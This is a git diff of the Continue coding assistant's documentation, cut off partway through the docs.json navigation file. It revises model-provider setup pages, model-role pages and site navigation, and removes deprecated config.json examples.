+++ b/docs/customize/deep-dives/rules.mdx.backup
@@ -1,10 +1,10 @@
---
title: "Rules"
-description: Rules are used to provide instructions to the model for Agent, Chat, and Edit requests.
+description: Rules are used to provide instructions to the model for Agent mode, Chat mode, and Edit requests.
keywords: [rules, .continuerules, system, prompt, message]
---
-Rules provide instructions to the model for [Agent](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests.
+Rules provide instructions to the model for [Agent mode](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests.
Rules are not included in [autocomplete](./autocomplete.mdx) or [apply](../model-roles/apply.mdx).
@@ -39,7 +39,7 @@ Now test your rules by asking a question about a file in chat.
## Creating `rules` blocks
-Rules can be added locally using the "Add Rules" button while viewing the Local Agent's rules.
+Rules can be added locally using the "Add Rules" button.

@@ -49,7 +49,7 @@ Automatically create local rule blocks: When in Agent mode, you can prompt the a
For example, you can say "Create a rule for this", and a rule will be created for you in `.continue/rules` based on your conversation.
-Rules can also be added to an Agent on the Continue Hub.
+Rules can also be added to a configuration on the Continue Hub.
Explore available rules [here](https://hub.continue.dev), or [create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub.
@@ -166,7 +166,7 @@ Whenever you are writing React code, make sure to
### Chat System Message
-Continue includes a simple default system message for [Agent](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output.
+Continue includes a simple default system message for [Agent mode](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output.
This can be viewed in the rules section of the toolbar (see above), or in the source code [here](https://github.com/continuedev/continue/blob/main/core/llm/constructMessages.ts#L4).
diff --git a/docs/customize/deep-dives/slash-commands.mdx b/docs/customize/deep-dives/slash-commands.mdx
deleted file mode 100644
index ef11b0f8d..000000000
--- a/docs/customize/deep-dives/slash-commands.mdx
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: "Using Slash Commands in Continue"
-description: "Learn how to use and create Slash Commands in Continue to run custom prompts, access context providers, and speed up coding tasks."
-keywords: [slash command, custom commands, step]
-sidebarTitle: "Slash Commands"
----
-
-
-
-Slash commands are shortcuts that can be activated by typing '/' in a chat session (press cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains)), and selecting from the dropdown.
-
-
-Slash commands can be combined with additional instructions, including highlighted code.
-
-
- **Recommended approach**: Use prompt files to create slash commands instead of
- the deprecated `config.json` approach. The methods described below provide
- better flexibility and are the actively maintained ways to add custom
- commands.
-
-
-## Ways to Create Slash Commands in Continue
-
-### Agent Prompt Blocks
-
-The easiest way to add a slash command is by adding [`prompt` blocks](../../hub/blocks/block-types#prompts) to your agent, which show up as slash commands in [Chat](../../features/chat/how-it-works).
-
-### Prompt Files
-
-It is also possible to write your own slash command by defining a “.prompt file.” Prompt files can be as simple as a text file, but also include templating so that you can refer to files, URLs, highlighted code, and more.
-
-Learn more about prompt files [here](./prompts).
-
-### MCP Server Prompts
-
-Any prompts provided by [Model Context Protocol](https://modelcontextprotocol.io/introduction) servers are also accessible in chat as Slash Commands. See the [MCP Server Deep Dive](./mcp) for more details.
diff --git a/docs/customize/model-providers/more/SambaNova.mdx b/docs/customize/model-providers/more/SambaNova.mdx
index acd83a682..4b46333d1 100644
--- a/docs/customize/model-providers/more/SambaNova.mdx
+++ b/docs/customize/model-providers/more/SambaNova.mdx
@@ -1,6 +1,6 @@
---
title: "SambaNova"
-description: "Configure SambaNova Cloud with Continue to access their high-performance platform for running large AI models, including Llama 4 Scout with world record open source model performance"
+description: "Configure SambaCloud with Continue to access their high-performance platform for running large AI models, including Llama 4 Scout with world record open source model performance"
---
The SambaNova Cloud is a cloud platform for running large AI models with the world record open source models performance. You can follow the instructions in [this blog post](https://sambanova.ai/blog/accelerating-coding-with-sambanova-cloud?ref=blog.continue.dev) to configure your setup.
@@ -9,9 +9,9 @@ The SambaNova Cloud is a cloud platform for running large AI models with the wor
```yaml title="config.yaml"
models:
- - name: SambaNova Llama 4 Scout
+ - name: GPT OSS 120B
provider: sambanova
- model: Llama-4-Scout-17B-16E-Instruct
+ model: gpt-oss-120b
apiKey:
```
@@ -20,9 +20,9 @@ The SambaNova Cloud is a cloud platform for running large AI models with the wor
{
"models": [
{
- "title": "SambaNova Llama 4 Scout",
+ "title": "GPT OSS 120B",
"provider": "sambanova",
- "model": "Llama-4-Scout-17B-16E-Instruct",
+ "model": "gpt-oss-120b",
"apiKey": ""
}
]
diff --git a/docs/customize/model-providers/more/asksage.mdx b/docs/customize/model-providers/more/asksage.mdx
index 03ad0e3ca..8b84d8c34 100644
--- a/docs/customize/model-providers/more/asksage.mdx
+++ b/docs/customize/model-providers/more/asksage.mdx
@@ -1,18 +1,34 @@
---
-title: "AskSage"
-description: "Configure AskSage with Continue to access a wide range of models including government-compliant versions of GPT and Claude models, supporting chat and edit functionalities"
+title: "Ask Sage"
+slug: ../asksage
---
+
+ **Discover Ask Sage models [here](https://hub.continue.dev/explore?q=Ask%20Sage)**
+
+
- To get an Ask Sage API key login to the Ask Sage platform (If you don't have
- an account, you can create one [here](https://chat.asksage.ai/)) and follow
- the instructions in the Ask Sage Docs: [Ask Sage API
- Key](https://docs.asksage.ai/docs/api-documentation/api-documentation.html)
+ You can get an API key from the [Ask Sage](https://www.asksage.ai/).
-## Configuration
-To use the Ask Sage models, you can use the following
+## Overview
+
+Ask Sage provides secure, government-compliant access to LLMs. This guide explains how to set up and configure Ask Sage models, including support for DoD certificates.
+
+## 1. Prerequisites
+
+- **Ask Sage Account:**
+ Sign up or log in at [Ask Sage Platform](https://chat.asksage.ai/).
+
+- **API Key:**
+ Follow the [API Key Documentation](https://docs.asksage.ai/docs/api-documentation/api-documentation.html) to generate your key.
+
+
+## 2. Configuration
+
+Add your Ask Sage model to your Continue configuration file.
+
@@ -42,53 +58,65 @@ To use the Ask Sage models, you can use the following
-The `apiBase` will be listed on the Ask Sage platform when you generate an `API key`. You will see context as shown below:
+## 3. Using DoD Certificates
-> Server API for query/training etc.:
->
-> - Documentation: https://app.swaggerhub.com/apis-docs/NICOLASCHAILLAN_1/server_ask-sage_api/1.0
-> - URL for this API is: https://api.asksage.ai/server/
+For secure environments, specify your DoD CA bundle path:
-## Usage
-Currently, the setup for the models provided by Ask Sage is to support the following two functionalities provided by Continue.Dev:
+
+
+ ```yaml title="config.yaml"
+ models:
+ - name: GPT-4 gov
+ provider: askSage
+ model: gpt4-gov
+ apiBase: https://api.asksage.ai/server/
+ apiKey:
+ requestOptions:
+ caBundlePath: /path/to/dod/certificates
+ ```
+
+
+ ```json title="config.json"
+ {
+ "models": [
+ {
+ "title": "GPT-4 gov",
+ "provider": "askSage",
+ "model": "gpt4-gov",
+ "apiBase": "https://api.asksage.ai/server/",
+ "apiKey": "",
+ "requestOptions": {
+ "caBundlePath": "/path/to/dod/certificates"
+ }
+ }
+ ]
+ }
+ ```
+
+
-- `Chat` to understand and iterate on code in the sidebar
-- `Edit` to modify code without leaving your current file
+Replace `/path/to/dod/certificates` with your actual CA bundle file path.
-More models, functionalities and documentation will be added in the future for Ask Sage Integration.
+---
-> We recommend to utilize the `OpenAI` or `Anthropic` models for the best performance and results for the `Chat` and `Edit` functionalities.
+## 4. Final Steps
-## Ask Sage Documentation
+- Save your configuration file.
+- Restart Continue to apply changes.
-Ask Sage documentation is not available with Continue.Dev, so if you have any questions or need help with Ask Sage type `@ask` and select the `Ask Sage` option in the chat. Then procced to ask your question about Ask Sage.
+Your Ask Sage model will now be available in Continue.
-## Current Models From Ask Sage Supported
+## 5. Usage
-The current Models available provided by Ask Sage are:
+Supported features:
-| Index | Model | Added |
-| ----- | --------------------- | ----- |
-| 1 | GPT-4 Gov | ✅ |
-| 2 | GPT-4o Gov | ✅ |
-| 3 | GPT-4o-mini Gov | ✅ |
-| 4 | GPT-3.5-Turbo Gov | ✅ |
-| 5 | GPT-4o | ✅ |
-| 6 | GPT-4o-mini | ✅ |
-| 7 | GPT-4 | ✅ |
-| 8 | GPT-4-32K | ✅ |
-| 9 | GPT-o1 | ✅ |
-| 10 | GPT-o1-mini | ✅ |
-| 10 | GPT-o3-mini | ✅ |
-| 11 | GPT-3.5-turbo | ✅ |
-| 12 | Claude 3.5 Sonnet Gov | ✅ |
-| 13 | Claude 3 Opus | ✅ |
-| 14 | Claude 3 Sonet | ✅ |
-| 15 | Claude 3.5 Sonnet | ✅ |
-| 16 | Grok (xAI) | ✅ |
-| 17 | Groq Llama 3.3 | ✅ |
-| 18 | Groq 70B | ✅ |
-| 19 | Gemini Pro | ✅ |
-| 20 | llama 3 | ✅ |
-| 21 | Mistral Large | ✅ |
+- **Chat:** Interact and iterate on code in the sidebar.
+- **Edit:** Modify code in place.
+
+## 6. Support
+
+- Refer to [Ask Sage Docs](https://docs.asksage.ai/docs/api-documentation/api-documentation.html) for more details.
+- Email the Ask Sage support team for assistance at support@asksage.ai.
+
+---
diff --git a/docs/customize/model-providers/more/deepseek.mdx b/docs/customize/model-providers/more/deepseek.mdx
index 773b6e8ad..b2e7d4602 100644
--- a/docs/customize/model-providers/more/deepseek.mdx
+++ b/docs/customize/model-providers/more/deepseek.mdx
@@ -4,7 +4,7 @@ slug: ../deepseek
---
- **Discover DeepSeek models [here](https://hub.continue.dev/?q=DeepSeek)**
+ **Discover DeepSeek models [here](https://hub.continue.dev/explore?q=DeepSeek)**
@@ -37,4 +37,4 @@ slug: ../deepseek
}
```
-
\ No newline at end of file
+
diff --git a/docs/customize/model-providers/more/xAI.mdx b/docs/customize/model-providers/more/xAI.mdx
index 803befe49..c90b2196e 100644
--- a/docs/customize/model-providers/more/xAI.mdx
+++ b/docs/customize/model-providers/more/xAI.mdx
@@ -3,13 +3,9 @@ title: xAI
slug: ../xai
---
-
- **Discover xAI models [here](https://hub.continue.dev/xai)**
-
+**Discover xAI models [here](https://hub.continue.dev/xai)**
-
- Get an API key from the [xAI Console](https://console.x.ai/)
-
+Get an API key from the [xAI Console](https://console.x.ai/)
## Configuration
@@ -29,7 +25,7 @@ slug: ../xai
"models": [
{
"title": "",
- "provider": "anthropic",
+ "provider": "xai",
"model": "",
"apiKey": ""
}
@@ -40,5 +36,6 @@ slug: ../xai
- **Check out a more advanced configuration [here](https://hub.continue.dev/xai/grok-4?view=config)**
-
\ No newline at end of file
+ **Check out a more advanced configuration
+ [here](https://hub.continue.dev/xai/grok-code-fast-1?view=config)**
+
diff --git a/docs/customize/model-providers/top-level/gemini.mdx b/docs/customize/model-providers/top-level/gemini.mdx
index 32c384c67..b8c5ec445 100644
--- a/docs/customize/model-providers/top-level/gemini.mdx
+++ b/docs/customize/model-providers/top-level/gemini.mdx
@@ -5,7 +5,7 @@ sidebarTitle: "Gemini"
---
- **Discover Google models [here](https://hub.continue.dev/?q=Gemini)**
+ **Discover Google models [here](https://hub.continue.dev/explore?q=Gemini)**
@@ -42,4 +42,4 @@ sidebarTitle: "Gemini"
**Check out a more advanced configuration [here](https://hub.continue.dev/google/gemini-2.5-pro?view=config)**
-
\ No newline at end of file
+
diff --git a/docs/customize/model-providers/top-level/openai.mdx b/docs/customize/model-providers/top-level/openai.mdx
index 9537ac133..3249e27c9 100644
--- a/docs/customize/model-providers/top-level/openai.mdx
+++ b/docs/customize/model-providers/top-level/openai.mdx
@@ -90,7 +90,7 @@ If you are using an OpenAI API compatible providers, you can change the `apiBase
### How to Force Legacy Completions Endpoint Usage
-To force usage of `chat/completions` instead of `completions` endpoint you can set:
+To force usage of `completions` instead of `chat/completions` endpoint you can set:
diff --git a/docs/customize/model-providers/top-level/openrouter.mdx b/docs/customize/model-providers/top-level/openrouter.mdx
index 8f9727d89..de4aee896 100644
--- a/docs/customize/model-providers/top-level/openrouter.mdx
+++ b/docs/customize/model-providers/top-level/openrouter.mdx
@@ -4,7 +4,7 @@ sidebarTitle: "OpenRouter"
---
- **Discover Inception models [here](https://hub.continue.dev/inceptionlabs)**
+ **Discover OpenRouter models [here](https://hub.continue.dev/openrouter)**
diff --git a/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx b/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx
index a074eef7d..6d307d377 100644
--- a/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx
+++ b/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx
@@ -168,9 +168,6 @@ context:
- uses: continuedev/terminal-context
- uses: continuedev/file-context
```
-
-To customize, see the [model block creation guide](/hub/blocks/create-a-block).
-
diff --git a/docs/customize/model-roles/00-intro.mdx b/docs/customize/model-roles/00-intro.mdx
index 941ea0f4d..8dcf85c04 100644
--- a/docs/customize/model-roles/00-intro.mdx
+++ b/docs/customize/model-roles/00-intro.mdx
@@ -23,7 +23,7 @@ These roles can be specified for a `config.yaml` model block using `roles`. See
## Selecting model roles
-You can control which of the models in your agent for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role.
+You can control which of the models in your config for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role.

diff --git a/docs/customize/model-roles/autocomplete.mdx b/docs/customize/model-roles/autocomplete.mdx
index b258463c0..b0a792b5c 100644
--- a/docs/customize/model-roles/autocomplete.mdx
+++ b/docs/customize/model-roles/autocomplete.mdx
@@ -11,7 +11,7 @@ import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx'
An "autocomplete model" is an LLM that is trained on a special format called fill-in-the-middle (FIM). This format is designed to be given the prefix and suffix of a code file and predict what goes between. This task is very specific, which on one hand means that the models can be smaller (even a 3B parameter model can perform well). On the other hand, this means that Chat models, though larger, will often perform poorly even with extensive prompting.
-In Continue, autocomplete models are used to display inline [Autocomplete](../../features/autocomplete/quick-start) suggestions as you type. Autocomplete models are designated by adding the `autocomplete` to the model's `roles` in `config.yaml`.
+In Continue, autocomplete models are used to display inline [Autocomplete](../../ide-extensions/autocomplete/quick-start) suggestions as you type. Autocomplete models are designated by adding the `autocomplete` to the model's `roles` in `config.yaml`.
## Recommended Autocomplete models
diff --git a/docs/customize/model-roles/chat.mdx b/docs/customize/model-roles/chat.mdx
index afafb8591..ee175829f 100644
--- a/docs/customize/model-roles/chat.mdx
+++ b/docs/customize/model-roles/chat.mdx
@@ -10,7 +10,7 @@ import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx'
A "chat model" is an LLM that is trained to respond in a conversational format. Because they should be able to answer general questions and generate complex code, the best chat models are typically large, often 405B+ parameters.
-In Continue, these models are used for normal [Chat](../../features/chat/quick-start). The selected chat model will also be used for [Edit](../../features/edit/quick-start) and [Apply](./apply.mdx) if no `edit` or `apply` models are specified, respectively.
+In Continue, these models are used for normal [Chat](../../ide-extensions/chat/quick-start). The selected chat model will also be used for [Edit](../../ide-extensions/edit/quick-start) and [Apply](./apply.mdx) if no `edit` or `apply` models are specified, respectively.
## Recommended Chat models
@@ -36,20 +36,6 @@ Our current top recommendations are Claude Opus 4.1 and Claude Sonnet 4 from [An
apiKey:
```
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Claude Opus 4.1",
- "provider": "anthropic",
- "model": "claude-4-1-opus",
- "apiKey": ""
- }
- ]
- }
- ```
-
### Gemma from Google DeepMind
@@ -88,37 +74,6 @@ If you prefer to use an open-weight model, then the Gemma family of Models from
-
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Gemma 3 27B",
- "provider": "ollama",
- "model": "gemma3:27b"
- }
- ]
- }
- ```
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Gemma 3 27B",
- "provider": "together",
- "model": "google/gemma-2-27b-it",
- "apiKey": ""
- }
- ]
- }
- ```
-
-
-
### GPT-4o from OpenAI
@@ -138,20 +93,6 @@ If you prefer to use a model from [OpenAI](../model-providers/top-level/openai),
apiKey:
```
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "GPT-4o",
- "provider": "openai",
- "model": "",
- "apiKey": ""
- }
- ]
- }
- ```
-
### Grok-2 from xAI
@@ -171,20 +112,6 @@ If you prefer to use a model from [xAI](../model-providers/more/xAI), then we re
apiKey:
```
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Grok-2",
- "provider": "xAI",
- "model": "grok-2-latest",
- "apiKey": ""
- }
- ]
- }
- ```
-
### Gemini 2.0 Flash from Google
@@ -204,20 +131,6 @@ If you prefer to use a model from [Google](../model-providers/top-level/gemini),
apiKey:
```
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Gemini 2.0 Flash",
- "provider": "gemini",
- "model": "gemini-2.0-flash",
- "apiKey": ""
- }
- ]
- }
- ```
-
## Local, offline experience
@@ -268,49 +181,6 @@ If your local machine can run an 8B parameter model, then we recommend running L
-
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Llama 3.1 8B",
- "provider": "ollama",
- "model": "llama3.1:8b"
- }
- ]
- }
- ```
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Llama 3.1 8B",
- "provider": "lmstudio",
- "model": "llama3.1-8b"
- }
- ]
- }
- ```
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "Llama 3.1 8B",
- "provider": "msty",
- "model": "llama3.1-8b"
- }
- ]
- }
- ```
-
-
-
### DeepSeek Coder 2 16B
@@ -357,50 +227,6 @@ If your local machine can run a 16B parameter model, then we recommend running D
-
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "DeepSeek Coder 2 16B",
- "provider": "ollama",
- "model": "deepseek-coder-v2:16b",
- "apiBase": "http://localhost:11434"
- }
- ]
- }
- ```
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "DeepSeek Coder 2 16B",
- "provider": "lmstudio",
- "model": "deepseek-coder-v2:16b"
- }
- ]
- }
- ```
-
-
- ```json title="config.json"
- {
- "models": [
- {
- "title": "DeepSeek Coder 2 16B",
- "provider": "msty",
- "model": "deepseek-coder-v2:16b"
- }
- ]
- }
- ```
-
-
-
## Other experiences
diff --git a/docs/customize/model-roles/edit.mdx b/docs/customize/model-roles/edit.mdx
index e60d47017..3fe2b9143 100644
--- a/docs/customize/model-roles/edit.mdx
+++ b/docs/customize/model-roles/edit.mdx
@@ -6,42 +6,19 @@ sidebar_position: 3
---
import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx'
-It's often useful to select a different model to respond to Edit prompts than for chat prompts, as Edits are often more code-specific and may require less conversational readability.
+It's often useful to select a different model to respond to Edit instructions than for Chat instructions, as Edits are often more code-specific and may require less conversational readability.
In Continue, you can add `edit` to a model's roles to specify that it can be used for Edit requests. If no edit models are specified, the selected `chat` model is used.
-
-
- Use model roles.
- ```yaml title="config.yaml"
- models:
- - name: Claude 3.5 Sonnet
- provider: anthropic
- model: claude-3-5-sonnet-latest
- apiKey:
- roles:
- - edit
- ```
-
-
- Set the `experimental.modelRoles.inlineEdit` property in `config.json`.
- ```json title="config.json"
- {
- "models": {
- "name": "Claude 3.5 Sonnet",
- "provider": "anthropic",
- "model": "claude-3-5-sonnet-latest",
- "apiKey": ""
- },
- "experimental": {
- "modelRoles": {
- "inlineEdit": "Claude 3.5 Sonnet",
- }
- }
- }
- ```
-
-
+```yaml title="config.yaml"
+models:
+ - name: Claude 4 Sonnet
+ provider: anthropic
+ model: claude-3-5-sonnet-latest
+ apiKey:
+ roles:
+ - edit
+```
Explore edit models in [the hub](https://hub.continue.dev/explore/models?roles=edit). Generally, our recommendations for Edit overlap with recommendations for Chat.
diff --git a/docs/customize/model-roles/embeddings.mdx b/docs/customize/model-roles/embeddings.mdx
index a81bb2322..ea1019c5d 100644
--- a/docs/customize/model-roles/embeddings.mdx
+++ b/docs/customize/model-roles/embeddings.mdx
@@ -7,7 +7,7 @@ sidebar_position: 5
An "embeddings model" is trained to convert a piece of text into a vector, which can later be rapidly compared to other vectors to determine similarity between the pieces of text. Embeddings models are typically much smaller than LLMs, and will be extremely fast and cheap in comparison.
-In Continue, embeddings are generated during indexing and then used by [@Codebase](../context/codebase) to perform similarity search over your codebase.
+In Continue, embeddings are generated during indexing and then used by [codebase awareness](/guides/codebase-documentation-awareness) to perform similarity search over your codebase.
You can add `embed` to a model's `roles` to specify that it can be used to embed.
diff --git a/docs/customize/model-roles/intro.mdx b/docs/customize/model-roles/intro.mdx
index ccdd3a3b0..6e9b2f875 100644
--- a/docs/customize/model-roles/intro.mdx
+++ b/docs/customize/model-roles/intro.mdx
@@ -7,7 +7,7 @@ icon: "book-open"
- [`chat`](/customize/model-roles/chat): Used for chat conversations in the extension sidebar
- [`autocomplete`](/customize/model-roles/autocomplete): Used for autocomplete code suggestions in the editor
-- [`edit`](/customize/model-roles/edit): Used to generate code based on edit prompts
+- [`edit`](/customize/model-roles/edit): Used to generate code based on edit instructions
- [`apply`](/customize/model-roles/apply): Used to decide how to apply edits to a file
- [`embed`](/customize/model-roles/embeddings): Used to generate embeddings used for vector search (@Codebase and @Docs context providers)
- [`rerank`](/customize/model-roles/reranking): Used to rerank results from vector search
@@ -16,7 +16,7 @@ These roles can be specified for a `config.yaml` model block using `roles`. See
## Selecting model roles
-You can control which of the models in your agent for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role.
+You can control which of the models in your config for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role.
diff --git a/docs/customize/model-roles/reranking.mdx b/docs/customize/model-roles/reranking.mdx
index ed5974b4b..93829f46c 100644
--- a/docs/customize/model-roles/reranking.mdx
+++ b/docs/customize/model-roles/reranking.mdx
@@ -7,7 +7,7 @@ sidebar_position: 6
A "reranking model" is trained to take two pieces of text (often a user question and a document) and return a relevancy score between 0 and 1, estimating how useful the document will be in answering the question. Rerankers are typically much smaller than LLMs, and will be extremely fast and cheap in comparison.
-In Continue, rerankers are designated using the `rerank` role and used by [@Codebase](../context/codebase) in order to select the most relevant code snippets after vector search.
+In Continue, rerankers are designated using the `rerank` role and used by [codebase awareness](/guides/codebase-documentation-awareness) in order to select the most relevant code snippets after vector search.
## Recommended reranking models
@@ -23,7 +23,10 @@ Voyage AI offers the best reranking model for code with their `rerank-2` model.
- [Voyage Rerank 2 Block](https://hub.continue.dev/voyageai/rerank-2)
+ ```yaml title="config.yaml"
+ models:
+ - uses: voyageai/rerank-2
+ ```
```yaml title="config.yaml"
@@ -36,19 +39,6 @@ Voyage AI offers the best reranking model for code with their `rerank-2` model.
- rerank
```
-
- ```json title="config.json"
- {
- "reranker": {
- "name": "voyage",
- "params": {
- "model": "rerank-2",
- "apiKey": ""
- }
- }
- }
- ```
-
### Cohere
@@ -71,19 +61,6 @@ See Cohere's documentation for rerankers [here](https://docs.cohere.com/docs/rer
- rerank
```
-
- ```json title="config.json"
- {
- "reranker": {
- "name": "cohere",
- "params": {
- "model": "rerank-english-v3.0",
- "apiKey": ""
- }
- }
- }
- ```
-
### LLM
@@ -105,21 +82,9 @@ If you only have access to a single LLM, then you can use it as a reranker. This
- rerank
```
-
- ```json title="config.json"
- {
- "reranker": {
- "name": "llm",
- "params": {
- "modelTitle": "My Model Title"
- }
- }
- }
- ```
-
-The `"modelTitle"` field must match one of the models in your "models" array in config.json.
+
### Text Embeddings Inference
@@ -142,17 +107,4 @@ The `"modelTitle"` field must match one of the models in your "models" array in
- rerank
```
-
- ```json title="config.json"
- {
- "reranker": {
- "name": "huggingface-tei",
- "params": {
- "apiBase": "http://localhost:8080",
- "apiKey": ""
- }
- }
- }
- ```
-
diff --git a/docs/customize/overview.mdx b/docs/customize/overview.mdx
index f46d43e03..5f1e5dbe5 100644
--- a/docs/customize/overview.mdx
+++ b/docs/customize/overview.mdx
@@ -7,7 +7,7 @@ description: "Explore Continue's advanced capabilities for power users and compl
Specialized context features for codebase understanding and documentation integration.
-[Browse Context Features →](/guides/understanding-assistants)
+[Browse Context Features →](/guides/understanding-configs)
## Deep Dives
diff --git a/docs/docs.json b/docs/docs.json
index 2d8fca1ae..35d9954eb 100644
--- a/docs/docs.json
+++ b/docs/docs.json
@@ -2,6 +2,10 @@
"$schema": "https://mintlify.com/docs.json",
"theme": "mint",
"name": "Continue",
+ "banner": {
+ "content": "Continue CLI v1.5.1 is live 🚀 Learn how you can leverage the CLI with our [MCP Cookbooks](https://docs.continue.dev/guides/overview#mcp-integration-cookbooks)",
+ "dismissable": true
+ },
"colors": {
"primary": "#6b7280",
"light": "#ffffff",
@@ -16,61 +20,114 @@
{
"group": "Getting Started",
"icon": "rocket-launch",
+ "pages": ["index"]
+ },
+ {
+ "group": "Hub",
+ "icon": "globe",
"pages": [
- "index",
- "getting-started/overview",
- "getting-started/install",
- "getting-started/quick-start"
+ "hub/introduction",
+ {
+ "group": "Configs",
+ "icon": "book",
+ "pages": [
+ "hub/configs/intro",
+ "hub/configs/use-a-config",
+ "hub/configs/create-a-config",
+ "hub/configs/edit-a-config"
+ ]
+ },
+ {
+ "group": "Governance",
+ "icon": "building",
+ "pages": [
+ "hub/governance/creating-an-org",
+ "hub/governance/org-permissions",
+ "hub/governance/pricing"
+ ]
+ },
+ {
+ "group": "Secrets",
+ "icon": "key",
+ "pages": [
+ "hub/secrets/secret-types",
+ "hub/secrets/secret-resolution"
+ ]
+ },
+ {
+ "group": "Agents",
+ "icon": "robot",
+ "pages": [
+ "hub/agents/intro",
+ "hub/agents/overview",
+ "hub/agents/create-and-edit"
+ ]
+ },
+ "hub/sharing",
+ "hub/source-control"
]
},
{
- "group": "Features",
- "icon": "star",
+ "group": "CLI",
+ "icon": "terminal",
"pages": [
+ "cli/overview",
+ "cli/install",
+ "cli/quick-start",
+ "cli/guides"
+ ]
+ },
+ {
+ "group": "IDE Extensions",
+ "icon": "star",
+ "expanded": false,
+ "pages": [
+ "ide-extensions/install",
+ "ide-extensions/quick-start",
{
"group": "Agent",
"icon": "robot",
"pages": [
- "features/agent/quick-start",
- "features/agent/how-it-works",
- "features/agent/plan-mode",
- "features/agent/model-setup",
- "features/agent/how-to-customize",
- "features/agent/context-selection"
+ "ide-extensions/agent/quick-start",
+ "ide-extensions/agent/how-it-works",
+ "ide-extensions/agent/plan-mode",
+ "ide-extensions/agent/model-setup",
+ "ide-extensions/agent/how-to-customize",
+ "ide-extensions/agent/context-selection"
]
},
{
"group": "Chat",
"icon": "messages",
"pages": [
- "features/chat/quick-start",
- "features/chat/how-it-works",
- "features/chat/model-setup",
- "features/chat/how-to-customize",
- "features/chat/context-selection"
+ "ide-extensions/chat/quick-start",
+ "ide-extensions/chat/how-it-works",
+ "ide-extensions/chat/model-setup",
+ "ide-extensions/chat/how-to-customize",
+ "ide-extensions/chat/context-selection"
]
},
{
"group": "Autocomplete",
"icon": "sparkles",
"pages": [
- "features/autocomplete/quick-start",
- "features/autocomplete/how-it-works",
- "features/autocomplete/model-setup",
- "features/autocomplete/how-to-customize",
- "features/autocomplete/context-selection",
- "features/autocomplete/next-edit"
+ "ide-extensions/autocomplete/quick-start",
+ "ide-extensions/autocomplete/how-it-works",
+ "ide-extensions/autocomplete/model-setup",
+ "ide-extensions/autocomplete/how-to-customize",
+ "ide-extensions/autocomplete/context-selection",
+ "ide-extensions/autocomplete/next-edit"
]
},
{
"group": "Edit",
"icon": "pen-to-square",
"pages": [
- "features/edit/quick-start",
- "features/edit/how-it-works",
- "features/edit/model-setup",
- "features/edit/how-to-customize",
- "features/edit/context-selection"
+ "ide-extensions/edit/quick-start",
+ "ide-extensions/edit/how-it-works",
+ "ide-extensions/edit/model-setup",
+ "ide-extensions/edit/how-to-customize",
+ "ide-extensions/edit/context-selection"
]
}
]
@@ -78,18 +135,21 @@
{
"group": "Customization",
"icon": "sliders",
+ "expanded": false,
"pages": [
"customization/overview",
"customization/models",
"customization/mcp-tools",
"customization/rules",
- "customization/prompts"
+ "customization/prompts",
+ "customization/settings"
]
},
{
"group": "Help",
"icon": "book-open",
- "pages": ["faqs", "troubleshooting"]
+ "expanded": false,
+ "pages": ["faqs", "troubleshooting", "CONTRIBUTING"]
}
]
},
@@ -124,6 +184,7 @@
{
"group": "More Providers",
"pages": [
+ "customize/model-providers/more/asksage",
"customize/model-providers/more/deepseek",
"customize/model-providers/more/deepinfra",
"customize/model-providers/more/groq",
@@ -172,56 +233,6 @@
}
]
},
- {
- "tab": "Hub",
- "groups": [
- {
- "group": "Hub",
- "pages": [
- "hub/introduction",
- {
- "group": "agents",
- "icon": "robot",
- "pages": [
- "hub/agents/intro",
- "hub/agents/use-an-agent",
- "hub/agents/create-an-agent",
- "hub/agents/edit-an-agent"
- ]
- },
- {
- "group": "Blocks",
- "icon": "cube",
- "pages": [
- "hub/blocks/intro",
- "hub/blocks/use-a-block",
- "hub/blocks/block-types",
- "hub/blocks/create-a-block"
- ]
- },
- {
- "group": "Governance",
- "icon": "building",
- "pages": [
- "hub/governance/creating-an-org",
- "hub/governance/org-permissions",
- "hub/governance/pricing"
- ]
- },
- {
- "group": "Secrets",
- "icon": "key",
- "pages": [
- "hub/secrets/secret-types",
- "hub/secrets/secret-resolution"
- ]
- },
- "hub/sharing",
- "hub/source-control"
- ]
- }
- ]
- },
{
"tab": "Guides",
"groups": [
@@ -229,18 +240,38 @@
"group": "Guides",
"pages": [
"guides/overview",
- "guides/understanding-agents",
+ "guides/understanding-configs",
+ "guides/configuring-models-rules-tools",
"guides/codebase-documentation-awareness",
"guides/cli",
+ "guides/doc-writing-agent-cli",
"guides/continuous-ai",
- "guides/posthog-github-continuous-ai",
"guides/continuous-ai-readiness-assessment",
"guides/plan-mode-guide",
"guides/ollama-guide",
"guides/instinct",
"guides/running-continue-without-internet",
"guides/custom-code-rag",
- "guides/how-to-self-host-a-model"
